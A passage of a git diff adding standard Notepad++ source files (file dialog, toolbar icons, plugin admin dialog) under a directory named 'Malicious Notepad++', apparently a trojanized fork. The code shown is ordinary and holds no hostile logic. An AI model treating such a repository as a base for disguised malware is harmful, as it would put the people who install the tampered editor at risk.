create(int iconSize, HINSTANCE hInst, int *iconIDArray, int iconIDArraySize); + + void destroy() { + ImageList_Destroy(_hImglst); + }; + HIMAGELIST getHandle() const {return _hImglst;}; + void addIcon(int iconID) const; + bool changeIcon(int index, const TCHAR *iconLocation) const; + void setIconSize(int size) const; + +private : + HIMAGELIST _hImglst = nullptr; + HINSTANCE _hInst = nullptr; + int *_pIconIDArray = nullptr; + int _iconIDArraySize = 0; + int _iconSize = 0; +}; + +typedef struct +{ + int _cmdID; + + int _defaultIcon; + int _hotIcon; + int _grayIcon; + + int _stdIcon; +} ToolBarButtonUnit; + +typedef std::vector ToolBarIconIDs; + +typedef std::vector IconListVector; + +class IconLists +{ +public : + IconLists() {}; + HIMAGELIST getImageListHandle(int index) const { + return _iconListVector[index].getHandle(); + }; + +protected : + IconListVector _iconListVector; +}; + +const int HLIST_DEFAULT = 0; +const int HLIST_HOT = 1; +const int HLIST_DISABLE = 2; + +class ToolBarIcons : public IconLists +{ +public : + ToolBarIcons() : _nbCmd(0) {}; + + void init(ToolBarButtonUnit *buttonUnitArray, int arraySize); + void create(HINSTANCE hInst, int iconSize); + void destroy(); + + HIMAGELIST getDefaultLst() const { + return IconLists::getImageListHandle(HLIST_DEFAULT); + }; + + HIMAGELIST getHotLst() const { + return IconLists::getImageListHandle(HLIST_HOT); + }; + + HIMAGELIST getDisableLst() const { + return IconLists::getImageListHandle(HLIST_DISABLE); + }; + + unsigned int getNbCommand() const {return _nbCmd;}; + void resizeIcon(int size) { + reInit(size); + }; + + void reInit(int size); + + int getNbIcon() const { + return int(_tbiis.size()); + }; + + int getStdIconAt(int i) const { + return _tbiis[i]._stdIcon; + }; + + bool replaceIcon(int witchList, int iconIndex, const TCHAR *iconLocation) const { + if ((witchList != HLIST_DEFAULT) && (witchList != HLIST_HOT) && (witchList != HLIST_DISABLE)) + return false; + return _iconListVector[witchList].changeIcon(iconIndex, iconLocation); + }; + +private : + ToolBarIconIDs _tbiis; + unsigned int _nbCmd; +}; + diff --git a/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.cpp b/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.cpp new file mode 100644 index 0000000..9e823d5 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.cpp @@ -0,0 +1,494 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include + +#include "FileDialog.h" +#include "Parameters.h" + + +FileDialog *FileDialog::staticThis = NULL; +//int FileDialog::_dialogFileBoxId = (NppParameters::getInstance())->getWinVersion() < WV_W2K?edt1:cmb13; + +FileDialog::FileDialog(HWND hwnd, HINSTANCE hInst) + : _nbCharFileExt(0), _nbExt(0), _fileExt(NULL), _extTypeIndex(-1) +{ + staticThis = this; + //for (int i = 0 ; i < nbExtMax ; i++) + // _extArray[i][0] = '\0'; + + _fileName[0] = '\0'; + + _winVersion = (NppParameters::getInstance())->getWinVersion(); + + _ofn.lStructSize = sizeof(_ofn); + if (_winVersion < WV_W2K) + _ofn.lStructSize = sizeof(OPENFILENAME); + _ofn.hwndOwner = hwnd; + _ofn.hInstance = hInst; + _ofn.lpstrCustomFilter = (LPTSTR) NULL; + _ofn.nMaxCustFilter = 0L; + _ofn.nFilterIndex = 1L; + _ofn.lpstrFile = _fileName; + _ofn.nMaxFile = sizeof(_fileName)/sizeof(TCHAR); + _ofn.lpstrFileTitle = NULL; + _ofn.nMaxFileTitle = 0; + _ofn.lpstrInitialDir = NULL; + _ofn.lpstrTitle = NULL; + _ofn.nFileOffset = 0; + _ofn.nFileExtension = 0; + _ofn.lpfnHook = NULL; + _ofn.lpstrDefExt = NULL; // No default extension + _ofn.lCustData = 0; + _ofn.Flags = OFN_PATHMUSTEXIST | OFN_EXPLORER | OFN_LONGNAMES | DS_CENTER | OFN_HIDEREADONLY; + _ofn.pvReserved = NULL; + _ofn.dwReserved = 0; + _ofn.FlagsEx = 0; +} + +FileDialog::~FileDialog() +{ + if (_fileExt) + { + delete[] _fileExt; + _fileExt = NULL; + } +} + +// This function set and concatenate the filter into the list box of FileDialog. +// The 1st parameter is the description of the file type, the 2nd .. Nth parameter(s) is (are) +// the file extension which should be ".WHATEVER", otherwise it (they) will be considered as +// a file name to filter. Since the nb of arguments is variable, you have to add NULL at the end. +// example : +// FileDialog.setExtFilter(TEXT("c/c++ src file"), TEXT(".c"), TEXT(".cpp"), TEXT(".cxx"), TEXT(".h"), NULL); +// FileDialog.setExtFilter(TEXT("Makefile"), TEXT("makefile"), TEXT("GNUmakefile"), NULL); +void FileDialog::setExtFilter(const TCHAR *extText, const TCHAR *ext, ...) +{ + // fill out the ext array for save as file dialog + generic_string exts; + + va_list pArg; + va_start(pArg, ext); + + const TCHAR *ext2Concat; + ext2Concat = ext; + do + { + if (ext2Concat[0] == TEXT('.')) + exts += TEXT("*"); + exts += ext2Concat; + exts += TEXT(";"); + } + while ( (ext2Concat = va_arg(pArg, const TCHAR *)) != NULL ); + + va_end(pArg); + + // remove the last ';' + exts = exts.substr(0, exts.length()-1); + + setExtsFilter(extText, exts.c_str()); +} + +int FileDialog::setExtsFilter(const TCHAR *extText, const TCHAR *exts) +{ + // fill out the ext array for save as file dialog + generic_string extFilter = extText; + TCHAR *oldFilter = NULL; + + extFilter += TEXT(" ("); + extFilter += exts; + extFilter += TEXT(")"); + + // Resize filter buffer + int nbCharAdditional = static_cast(extFilter.length() + lstrlen(exts) + 3); // 3 additional for nulls + if (_fileExt) + { + oldFilter = new TCHAR[_nbCharFileExt]; + memcpy(oldFilter, _fileExt, _nbCharFileExt * sizeof(TCHAR)); + + delete[] _fileExt; + _fileExt = NULL; + } + + int nbCharNewFileExt = _nbCharFileExt + nbCharAdditional; + _fileExt = new TCHAR[nbCharNewFileExt]; + memset(_fileExt, 0, nbCharNewFileExt * sizeof(TCHAR)); + + // Restore previous filters + if (oldFilter) + { + memcpy(_fileExt, oldFilter, _nbCharFileExt * sizeof(TCHAR)); + delete[] oldFilter; + oldFilter = NULL; + } + + // Append new filter + TCHAR *pFileExt = _fileExt + _nbCharFileExt; + lstrcpy(pFileExt, extFilter.c_str()); + _nbCharFileExt += static_cast(extFilter.length()) + 1; + + pFileExt = _fileExt + _nbCharFileExt; + lstrcpy(pFileExt, exts); + _nbCharFileExt += lstrlen(exts) + 1; + + // Set file dialog pointer + _ofn.lpstrFilter = _fileExt; + + return _nbExt; +} + +TCHAR* FileDialog::doOpenSingleFileDlg() +{ + TCHAR dir[MAX_PATH]; + ::GetCurrentDirectory(MAX_PATH, dir); + NppParameters * params = NppParameters::getInstance(); + _ofn.lpstrInitialDir = params->getWorkingDir(); + + _ofn.Flags |= OFN_FILEMUSTEXIST; + + TCHAR *fn = NULL; + try { + fn = ::GetOpenFileName(&_ofn)?_fileName:NULL; + + if (params->getNppGUI()._openSaveDir == dir_last) + { + ::GetCurrentDirectory(MAX_PATH, dir); + params->setWorkingDir(dir); + } + } catch(std::exception& e) { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } catch(...) { + ::MessageBox(NULL, TEXT("doOpenSingleFileDlg crashes!!!"), TEXT(""), MB_OK); + } + + ::SetCurrentDirectory(dir); + + return (fn); +} + +stringVector * FileDialog::doOpenMultiFilesDlg() +{ + TCHAR dir[MAX_PATH]; + ::GetCurrentDirectory(MAX_PATH, dir); + //_ofn.lpstrInitialDir = dir; + + NppParameters * params = NppParameters::getInstance(); + _ofn.lpstrInitialDir = params->getWorkingDir(); + + _ofn.Flags |= OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT; + + BOOL res = ::GetOpenFileName(&_ofn); + if (params->getNppGUI()._openSaveDir == dir_last) + { + ::GetCurrentDirectory(MAX_PATH, dir); + params->setWorkingDir(dir); + } + ::SetCurrentDirectory(dir); + + if (res) + { + TCHAR* pFn = _fileName + lstrlen(_fileName) + 1; + TCHAR fn[MAX_PATH*8]; + memset(fn, 0x0, sizeof(fn)); + + if (!(*pFn)) + { + _fileNames.push_back(generic_string(_fileName)); + } + else + { + lstrcpy(fn, _fileName); + if (fn[lstrlen(fn) - 1] != '\\') + lstrcat(fn, TEXT("\\")); + } + + int term = lstrlen(fn); + + while (*pFn) + { + fn[term] = '\0'; + lstrcat(fn, pFn); + _fileNames.push_back(generic_string(fn)); + pFn += lstrlen(pFn) + 1; + } + + return &_fileNames; + } + return nullptr; +} + + +TCHAR * FileDialog::doSaveDlg() +{ + TCHAR dir[MAX_PATH]; + ::GetCurrentDirectory(MAX_PATH, dir); + //_ofn.lpstrInitialDir = dir; + + NppParameters * params = NppParameters::getInstance(); + _ofn.lpstrInitialDir = params->getWorkingDir(); + + _ofn.Flags |= OFN_OVERWRITEPROMPT | OFN_HIDEREADONLY | OFN_ENABLESIZING; + + if (!params->useNewStyleSaveDlg()) + { + _ofn.Flags |= OFN_ENABLEHOOK; + _ofn.lpfnHook = OFNHookProc; + } + + TCHAR *fn = NULL; + try { + fn = ::GetSaveFileName(&_ofn)?_fileName:NULL; + if (params->getNppGUI()._openSaveDir == dir_last) + { + ::GetCurrentDirectory(MAX_PATH, dir); + params->setWorkingDir(dir); + } + } catch(std::exception& e) { + ::MessageBoxA(NULL, e.what(), "Exception", MB_OK); + } catch(...) { + ::MessageBox(NULL, TEXT("GetSaveFileName crashes!!!"), TEXT(""), MB_OK); + } + + ::SetCurrentDirectory(dir); + + return (fn); +} + +static HWND hFileDlg = NULL; +static WNDPROC oldProc = NULL; +static generic_string currentExt = TEXT(""); + + +static LRESULT CALLBACK fileDlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_COMMAND : + { + switch (wParam) + { + case IDOK : + { + HWND fnControl = ::GetDlgItem(hwnd, FileDialog::_dialogFileBoxId); + TCHAR fn[MAX_PATH]; + ::GetWindowText(fnControl, fn, MAX_PATH); + + // Check condition to have the compability of default behaviour + if (*fn == '\0') + return oldProc(hwnd, message, wParam, lParam); + else if (::PathIsDirectory(fn)) + return oldProc(hwnd, message, wParam, lParam); + + // Process + if (currentExt != TEXT("")) + { + generic_string fnExt = changeExt(fn, currentExt, false); + ::SetWindowText(fnControl, fnExt.c_str()); + } + return oldProc(hwnd, message, wParam, lParam); + } + + default : + break; + } + } + } + return oldProc(hwnd, message, wParam, lParam); +}; + + +static TCHAR * get1stExt(TCHAR *ext) { // precondition : ext should be under the format : Batch (*.bat;*.cmd;*.nt) + TCHAR *begin = ext; + for ( ; *begin != '.' ; begin++); + TCHAR *end = ++begin; + for ( ; *end != ';' && *end != ')' ; end++); + *end = '\0'; + if (*begin == '*') + *begin = '\0'; + return begin; +}; + +static generic_string addExt(HWND textCtrl, HWND typeCtrl) { + TCHAR fn[MAX_PATH]; + ::GetWindowText(textCtrl, fn, MAX_PATH); + + auto i = ::SendMessage(typeCtrl, CB_GETCURSEL, 0, 0); + + auto cbTextLen = ::SendMessage(typeCtrl, CB_GETLBTEXTLEN, i, 0); + TCHAR * ext = new TCHAR[cbTextLen + 1]; + ::SendMessage(typeCtrl, CB_GETLBTEXT, i, reinterpret_cast(ext)); + + TCHAR *pExt = get1stExt(ext); + if (*fn != '\0') + { + generic_string fnExt = changeExt(fn, pExt); + ::SetWindowText(textCtrl, fnExt.c_str()); + } + + generic_string returnExt = pExt; + delete[] ext; + return returnExt; +}; + + +UINT_PTR CALLBACK FileDialog::OFNHookProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch(uMsg) + { + case WM_INITDIALOG : + { + NppParameters *pNppParam = NppParameters::getInstance(); + int index = pNppParam->getFileSaveDlgFilterIndex(); + + ::SetWindowLongPtr(hWnd, GWLP_USERDATA, reinterpret_cast(staticThis)); + hFileDlg = ::GetParent(hWnd); + goToCenter(hFileDlg); + + if (index != -1) + { + HWND typeControl = ::GetDlgItem(hFileDlg, cmb1); + ::SendMessage(typeControl, CB_SETCURSEL, index, 0); + } + + // Don't touch the following 3 lines, they are cursed !!! + oldProc = reinterpret_cast(::GetWindowLongPtr(hFileDlg, GWLP_WNDPROC)); + if (oldProc) + ::SetWindowLongPtr(hFileDlg, GWLP_WNDPROC, reinterpret_cast(fileDlgProc)); + + return FALSE; + } + + default : + { + FileDialog *pFileDialog = reinterpret_cast(::GetWindowLongPtr(hWnd, GWLP_USERDATA)); + if (!pFileDialog) + { + return FALSE; + } + return pFileDialog->run(hWnd, uMsg, wParam, lParam); + } + } +} + +BOOL APIENTRY FileDialog::run(HWND hWnd, UINT uMsg, WPARAM, LPARAM lParam) +{ + switch (uMsg) + { + case WM_NOTIFY : + { + LPNMHDR pNmhdr = (LPNMHDR)lParam; + switch(pNmhdr->code) + { + case CDN_INITDONE : + { + if (_extTypeIndex == -1) + return TRUE; + + HWND fnControl = ::GetDlgItem(::GetParent(hWnd), _dialogFileBoxId); + HWND typeControl = ::GetDlgItem(::GetParent(hWnd), cmb1); + ::SendMessage(typeControl, CB_SETCURSEL, _extTypeIndex, 0); + + currentExt = addExt(fnControl, typeControl); + return TRUE; + } + + case CDN_TYPECHANGE : + { + HWND fnControl = ::GetDlgItem(::GetParent(hWnd), _dialogFileBoxId); + HWND typeControl = ::GetDlgItem(::GetParent(hWnd), cmb1); + currentExt = addExt(fnControl, typeControl); + return TRUE; + } + + case CDN_FILEOK : + { + HWND typeControl = ::GetDlgItem(::GetParent(hWnd), cmb1); + int index = static_cast(::SendMessage(typeControl, CB_GETCURSEL, 0, 0)); + NppParameters *pNppParam = NppParameters::getInstance(); + pNppParam->setFileSaveDlgFilterIndex(index); + return TRUE; + } + + default : + return FALSE; + } + + } + default : + return FALSE; + } +} + +void goToCenter(HWND hwnd) +{ + RECT rc; + HWND hParent = ::GetParent(hwnd); + ::GetClientRect(hParent, &rc); + + //If window coordinates are all zero(ie,window is minimised),then assign desktop as the parent window. + if(rc.left == 0 && rc.right == 0 && rc.top == 0 && rc.bottom == 0) + { + //hParent = ::GetDesktopWindow(); + ::ShowWindow(hParent, SW_SHOWNORMAL); + ::GetClientRect(hParent,&rc); + } + + POINT center; + center.x = rc.left + (rc.right - rc.left)/2; + center.y = rc.top + (rc.bottom - rc.top)/2; + ::ClientToScreen(hParent, ¢er); + + RECT _rc; + ::GetWindowRect(hwnd, &_rc); + int x = center.x - (_rc.right - _rc.left)/2; + int y = center.y - (_rc.bottom - _rc.top)/2; + + ::SetWindowPos(hwnd, HWND_TOP, x, y, _rc.right - _rc.left, _rc.bottom - _rc.top, SWP_SHOWWINDOW); +} + +generic_string changeExt(generic_string fn, generic_string ext, bool forceReplaced) +{ + if (ext == TEXT("")) + return fn; + + generic_string fnExt = fn; + + auto index = fnExt.find_last_of(TEXT(".")); + generic_string extension = TEXT("."); + extension += ext; + if (index == generic_string::npos) + { + fnExt += extension; + } + else if (forceReplaced) + { + auto len = (extension.length() > fnExt.length() - index + 1)?extension.length():fnExt.length() - index + 1; + fnExt.replace(index, len, extension); + } + return fnExt; +} diff --git a/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.h b/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.h new file mode 100644 index 0000000..307827a --- /dev/null +++ b/Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.h @@ -0,0 +1,81 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FILE_DIALOG_H +#define FILE_DIALOG_H + +#include "Common.h" +#include "Notepad_plus_msgs.h" + +const int nbExtMax = 256; +const int extLenMax = 64; + +typedef std::vector stringVector; + +generic_string changeExt(generic_string fn, generic_string ext, bool forceReplaced = true); +void goToCenter(HWND hwnd); + + +class FileDialog +{ +public: + FileDialog(HWND hwnd, HINSTANCE hInst); + ~FileDialog(); + void setExtFilter(const TCHAR *, const TCHAR *, ...); + + int setExtsFilter(const TCHAR *extText, const TCHAR *exts); + void setDefFileName(const TCHAR *fn){lstrcpy(_fileName, fn);} + + TCHAR * doSaveDlg(); + stringVector * doOpenMultiFilesDlg(); + TCHAR * doOpenSingleFileDlg(); + bool isReadOnly() {return _ofn.Flags & OFN_READONLY;}; + void setExtIndex(int extTypeIndex) {_extTypeIndex = extTypeIndex;}; + + static int _dialogFileBoxId; +protected : + static UINT_PTR CALLBACK OFNHookProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + BOOL APIENTRY run(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + +private: + TCHAR _fileName[MAX_PATH*8]; + + TCHAR * _fileExt; + int _nbCharFileExt; + + stringVector _fileNames; + + OPENFILENAME _ofn; + winVer _winVersion; + + int _nbExt; + int _extTypeIndex; + static FileDialog *staticThis; +}; + +#endif //FILE_DIALOG_H diff --git a/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.cpp b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.cpp new file mode 100644 index 0000000..50eb7bc --- /dev/null +++ b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.cpp @@ -0,0 +1,780 @@ +// This file is part of Notepad++ project +// Copyright (C)2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "json.hpp" +#include +#include +#include +#include +#include +#include +#include +#include +#include "pluginsAdmin.h" +#include "ScintillaEditView.h" +#include "localization.h" +#include "PluginsManager.h" +#include "md5.h" + +using namespace std; +using nlohmann::json; + +void Version::setVersionFrom(generic_string filePath) +{ + if (not filePath.empty() && ::PathFileExists(filePath.c_str())) + { + DWORD handle; + DWORD bufferSize = ::GetFileVersionInfoSize(filePath.c_str(), &handle); + + if (bufferSize <= 0) + return; + + unsigned char* buffer = new unsigned char[bufferSize]; + ::GetFileVersionInfo(filePath.c_str(), handle, bufferSize, buffer); + + VS_FIXEDFILEINFO* lpFileInfo; + UINT cbFileInfo = 0; + VerQueryValue(buffer, TEXT("\\"), (LPVOID*)&lpFileInfo, &cbFileInfo); + if (cbFileInfo) + { + _major = (lpFileInfo->dwFileVersionMS & 0xFFFF0000) >> 16; + _minor = lpFileInfo->dwFileVersionMS & 0x0000FFFF; + _patch = (lpFileInfo->dwFileVersionLS & 0xFFFF0000) >> 16; + _build = lpFileInfo->dwFileVersionLS & 0x0000FFFF; + } + } +} + +generic_string Version::toString() +{ + if (_build == 0 && _patch == 0 && _minor == 0 && _major == 0) // "" + { + return TEXT(""); + } + else if (_build == 0 && _patch == 0 && _minor == 0) // "major" + { + return std::to_wstring(_major); + } + else if (_build == 0 && _patch == 0) // "major.minor" + { + std::wstring v = std::to_wstring(_major); + v += TEXT("."); + v += std::to_wstring(_minor); + return v; + } + else if (_build == 0) // "major.minor.patch" + { + std::wstring v = std::to_wstring(_major); + v += TEXT("."); + v += std::to_wstring(_minor); + v += TEXT("."); + v += std::to_wstring(_patch); + return v; + } + + // "major.minor.patch.build" + std::wstring ver = std::to_wstring(_major); + ver += TEXT("."); + ver += std::to_wstring(_minor); + ver += TEXT("."); + ver += std::to_wstring(_patch); + ver += TEXT("."); + ver += std::to_wstring(_build); + + return ver; +} + +generic_string PluginUpdateInfo::describe() +{ + generic_string desc; + const TCHAR *EOL = TEXT("\r\n"); + if (not _description.empty()) + { + desc = _description; + desc += EOL; + } + + if (not _author.empty()) + { + desc += TEXT("Author: "); + desc += _author; + desc += EOL; + } + + if (not _homepage.empty()) + { + desc += TEXT("Homepage: "); + desc += _homepage; + desc += EOL; + } + + return desc; +} + +/// Try to find in the Haystack the Needle - ignore case +bool findStrNoCase(const generic_string & strHaystack, const generic_string & strNeedle) +{ + auto it = std::search( + strHaystack.begin(), strHaystack.end(), + strNeedle.begin(), strNeedle.end(), + [](char ch1, char ch2){return std::toupper(ch1) == std::toupper(ch2); } + ); + return (it != strHaystack.end()); +} + + +long PluginsAdminDlg::searchFromCurrentSel(generic_string str2search, bool inWhichPart, bool isNextMode) const +{ + // search from curent selected item or from the beginning + long currentIndex = _availableListView.getSelectedIndex(); + int nbItem = static_cast(_availableListView.nbItem()); + if (currentIndex == -1) + { + // no selection, let's search from 0 to the end + for (int i = 0; i < nbItem; ++i) + { + size_t j = _availableListView.getLParamFromIndex(i); + generic_string searchIn; + if (inWhichPart == inNames) + searchIn = _availablePluginList[j]._name; + else //(inWhichPart == inDescs) + searchIn = _availablePluginList[j]._description; + + if (findStrNoCase(searchIn, str2search)) + return i; + } + } + else + { + // with selection, let's search from currentIndex + + // from current position to the end + for (int i = currentIndex + (isNextMode ? 1 : 0); i < nbItem; ++i) + { + size_t j = _availableListView.getLParamFromIndex(i); + generic_string searchIn; + if (inWhichPart == inNames) + searchIn = _availablePluginList[j]._name; + else //(inWhichPart == inDescs) + searchIn = _availablePluginList[j]._description; + + if (findStrNoCase(searchIn, str2search)) + return i; + } + + // from to begining to current position + for (int i = 0; i < currentIndex + (isNextMode ? 1 : 0); ++i) + { + size_t j = _availableListView.getLParamFromIndex(i); + generic_string searchIn; + if (inWhichPart == inNames) + searchIn = _availablePluginList[j]._name; + else //(inWhichPart == inDescs) + searchIn = _availablePluginList[j]._description; + + if (findStrNoCase(searchIn, str2search)) + return i; + } + } + return -1; +} + +void PluginsAdminDlg::create(int dialogID, bool isRTL, bool msgDestParent) +{ + // get plugin installation path and launch mode (Admin or normal) + collectNppCurrentStatusInfos(); + + StaticDialog::create(dialogID, isRTL, msgDestParent); + + RECT rect; + getClientRect(rect); + _tab.init(_hInst, _hSelf, false, true); + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(13); + _tab.setFont(TEXT("Tahoma"), tabDpiDynamicalHeight); + + const TCHAR *available = TEXT("Available"); + const TCHAR *updates = TEXT("Updates"); + const TCHAR *installed = TEXT("Installed"); + + _tab.insertAtEnd(available); + _tab.insertAtEnd(updates); + _tab.insertAtEnd(installed); + + rect.bottom -= 100;; + _tab.reSizeTo(rect); + _tab.display(); + + const long marge = 10; + + const int topMarge = 42; + + HWND hResearchLabel = ::GetDlgItem(_hSelf, IDC_PLUGINADM_RESEARCH_STATIC); + RECT researchLabelRect; + ::GetClientRect(hResearchLabel, &researchLabelRect); + researchLabelRect.left = rect.left; + researchLabelRect.top = topMarge + 2; + ::MoveWindow(hResearchLabel, researchLabelRect.left, researchLabelRect.top, researchLabelRect.right, researchLabelRect.bottom, TRUE); + ::InvalidateRect(hResearchLabel, nullptr, TRUE); + + HWND hResearchEdit = ::GetDlgItem(_hSelf, IDC_PLUGINADM_RESEARCH_EDIT); + RECT researchEditRect; + ::GetClientRect(hResearchEdit, &researchEditRect); + researchEditRect.left = researchLabelRect.right + marge; + researchEditRect.top = topMarge; + ::MoveWindow(hResearchEdit, researchEditRect.left, researchEditRect.top, researchEditRect.right, researchEditRect.bottom, TRUE); + ::InvalidateRect(hResearchEdit, nullptr, TRUE); + + HWND hNextButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_RESEARCH_NEXT); + RECT researchNextRect; + ::GetClientRect(hNextButton, &researchNextRect); + researchNextRect.left = researchEditRect.left + researchEditRect.right + marge; + researchNextRect.top = topMarge; + ::MoveWindow(hNextButton, researchNextRect.left, researchNextRect.top, researchNextRect.right, researchNextRect.bottom, TRUE); + ::InvalidateRect(hNextButton, nullptr, TRUE); + + HWND hActionButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_INSTALL); + RECT actionRect; + ::GetClientRect(hActionButton, &actionRect); + long w = actionRect.right - actionRect.left; + actionRect.left = rect.right - w - marge; + actionRect.top = topMarge; + ::MoveWindow(hActionButton, actionRect.left, actionRect.top, actionRect.right, actionRect.bottom, TRUE); + ::InvalidateRect(hActionButton, nullptr, TRUE); + + hActionButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_UPDATE); + ::MoveWindow(hActionButton, actionRect.left, actionRect.top, actionRect.right, actionRect.bottom, TRUE); + ::InvalidateRect(hActionButton, nullptr, TRUE); + + hActionButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_REMOVE); + ::MoveWindow(hActionButton, actionRect.left, actionRect.top, actionRect.right, actionRect.bottom, TRUE); + ::InvalidateRect(hActionButton, nullptr, TRUE); + + long actionZoneHeight = 50; + rect.top += actionZoneHeight; + rect.bottom -= actionZoneHeight; + + RECT listRect = rect; + RECT descRect = rect; + + long descHeight = rect.bottom / 3 - marge * 2; + long listHeight = (rect.bottom / 3) * 2 - marge * 3; + + listRect.top += marge; + listRect.bottom = listHeight; + listRect.left += marge; + listRect.right -= marge * 2; + + descRect.top += listHeight + marge * 3; + descRect.bottom = descHeight; + descRect.left += marge; + descRect.right -= marge * 2; + + NppParameters *nppParam = NppParameters::getInstance(); + NativeLangSpeaker *pNativeSpeaker = nppParam->getNativeLangSpeaker(); + generic_string pluginStr = pNativeSpeaker->getAttrNameStr(TEXT("Plugin"), "PluginAdmin", "Plugin"); + generic_string vesionStr = pNativeSpeaker->getAttrNameStr(TEXT("Version"), "PluginAdmin", "Version"); + generic_string stabilityStr = pNativeSpeaker->getAttrNameStr(TEXT("Stability"), "PluginAdmin", "Stability"); + + _availableListView.addColumn(columnInfo(pluginStr, nppParam->_dpiManager.scaleX(200))); + _availableListView.addColumn(columnInfo(vesionStr, nppParam->_dpiManager.scaleX(100))); + _availableListView.addColumn(columnInfo(stabilityStr, nppParam->_dpiManager.scaleX(70))); + _availableListView.setStyleOption(LVS_EX_CHECKBOXES); + + _availableListView.init(_hInst, _hSelf); + _availableListView.reSizeTo(listRect); + + _updateListView.addColumn(columnInfo(pluginStr, nppParam->_dpiManager.scaleX(200))); + _updateListView.addColumn(columnInfo(vesionStr, nppParam->_dpiManager.scaleX(100))); + _updateListView.addColumn(columnInfo(stabilityStr, nppParam->_dpiManager.scaleX(70))); + _updateListView.setStyleOption(LVS_EX_CHECKBOXES); + + _updateListView.init(_hInst, _hSelf); + _updateListView.reSizeTo(listRect); + + _installedListView.addColumn(columnInfo(pluginStr, nppParam->_dpiManager.scaleX(200))); + _installedListView.addColumn(columnInfo(vesionStr, nppParam->_dpiManager.scaleX(100))); + _installedListView.addColumn(columnInfo(stabilityStr, nppParam->_dpiManager.scaleX(70))); + _installedListView.setStyleOption(LVS_EX_CHECKBOXES); + + _installedListView.init(_hInst, _hSelf); + _installedListView.reSizeTo(listRect); + + HWND hDesc = ::GetDlgItem(_hSelf, IDC_PLUGINADM_EDIT); + ::MoveWindow(hDesc, descRect.left, descRect.top, descRect.right, descRect.bottom, TRUE); + ::InvalidateRect(hDesc, nullptr, TRUE); + + switchDialog(0); + + ETDTProc enableDlgTheme = (ETDTProc)::SendMessage(_hParent, NPPM_GETENABLETHEMETEXTUREFUNC, 0, 0); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + goToCenter(); +} + +void PluginsAdminDlg::collectNppCurrentStatusInfos() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + _nppCurrentStatus._nppInstallPath = pNppParam->getNppPath(); + + _nppCurrentStatus._isAppDataPluginsAllowed = ::SendMessage(_hParent, NPPM_GETAPPDATAPLUGINSALLOWED, 0, 0) == TRUE; + _nppCurrentStatus._appdataPath = pNppParam->getAppDataNppDir(); + generic_string programFilesPath = NppParameters::getSpecialFolderLocation(CSIDL_PROGRAM_FILES); + _nppCurrentStatus._isInProgramFiles = 